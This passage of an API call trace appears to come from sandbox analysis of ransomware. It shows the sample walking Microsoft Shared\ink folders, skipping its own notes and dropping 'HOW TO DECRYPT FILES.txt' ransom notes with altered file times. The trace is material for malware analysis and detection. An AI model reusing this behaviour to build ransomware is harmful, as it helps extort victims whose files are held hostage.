"c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\how to decrypt files.txt")) returned 0xffffffff [0058.094] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0058.096] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.096] CloseHandle (hObject=0x90) returned 1 [0058.096] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" [0058.096] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.097] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.097] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0058.097] lstrcmpA (lpString1=".", lpString2="fi-FI") returned -1 [0058.097] lstrcmpA (lpString1="..", lpString2="fi-FI") returned -1 [0058.097] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*") returned="*.*" [0058.097] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="fi-FI" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI" [0058.097] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.097] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.097] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.097] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.097] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.098] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.098] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.098] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tipresx.dll.mui") returned -1 [0058.098] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tipresx.dll.mui") returned -1 [0058.098] lstrcmpiA (lpString1="", lpString2="tipresx.dll.mui") returned -1 [0058.098] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\" [0058.098] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\") returned="" [0058.098] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\HOW TO DECRYPT FILES.txt" [0058.098] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\how to decrypt files.txt")) returned 0xffffffff [0058.098] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0058.101] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.101] CloseHandle (hObject=0x90) returned 1 [0058.101] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" [0058.101] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.102] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.102] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0058.102] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.102] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FlickAnimation.avi") returned -1 [0058.102] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FlickAnimation.avi") returned 1 [0058.102] lstrcmpiA (lpString1="", lpString2="FlickAnimation.avi") returned -1 [0058.102] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" [0058.102] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="" [0058.102] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" [0058.102] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0058.102] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="FlickAnimation.avi" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" [0058.102] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0058.102] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.102] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FlickLearningWizard.exe") returned -1 [0058.102] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FlickLearningWizard.exe") returned 1 [0058.102] lstrcmpiA (lpString1="", lpString2="FlickLearningWizard.exe") returned -1 [0058.102] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" [0058.102] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="" [0058.102] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" [0058.103] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0058.103] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="FlickLearningWizard.exe" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" [0058.103] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0058.103] lstrcmpA (lpString1=".", lpString2="fr-FR") returned -1 [0058.103] lstrcmpA (lpString1="..", lpString2="fr-FR") returned -1 [0058.103] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="fr-FR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR" [0058.103] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8266, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.104] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.104] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.104] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.104] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.104] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.104] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.104] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tipresx.dll.mui") returned -1 [0058.104] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tipresx.dll.mui") returned -1 [0058.104] lstrcmpiA (lpString1="", lpString2="tipresx.dll.mui") returned -1 [0058.104] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\" [0058.104] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\") returned="" [0058.104] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\HOW TO DECRYPT FILES.txt" [0058.104] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\how to decrypt files.txt")) returned 0xffffffff [0058.104] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0058.106] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.106] CloseHandle (hObject=0x90) returned 1 [0058.106] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" [0058.106] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.106] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.106] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0058.106] lstrcmpA (lpString1=".", lpString2="fsdefinitions") returned -1 [0058.106] lstrcmpA (lpString1="..", lpString2="fsdefinitions") returned -1 [0058.107] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="fsdefinitions" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" [0058.107] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.110] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.110] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.110] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.110] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.110] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0058.110] lstrcmpA (lpString1=".", lpString2="auxpad") returned -1 [0058.110] lstrcmpA (lpString1="..", lpString2="auxpad") returned -1 [0058.110] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="auxpad" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" [0058.110] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fb4e8, dwReserved1=0x4fb4e3, cFileName=".", cAlternateFileName="")) returned 0x4f8270 [0058.111] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.111] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.111] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.111] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.111] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0058.111] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.111] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="auxbase.xml") returned 1 [0058.111] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="auxbase.xml") returned 1 [0058.112] lstrcmpiA (lpString1="", lpString2="auxbase.xml") returned -1 [0058.112] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\" [0058.112] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\") returned="" [0058.112] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\HOW TO DECRYPT FILES.txt" [0058.112] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\how to decrypt files.txt")) returned 0xffffffff [0058.112] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0058.115] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.115] CloseHandle (hObject=0x94) returned 1 [0058.115] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", lpString2="auxbase.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" [0058.116] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, 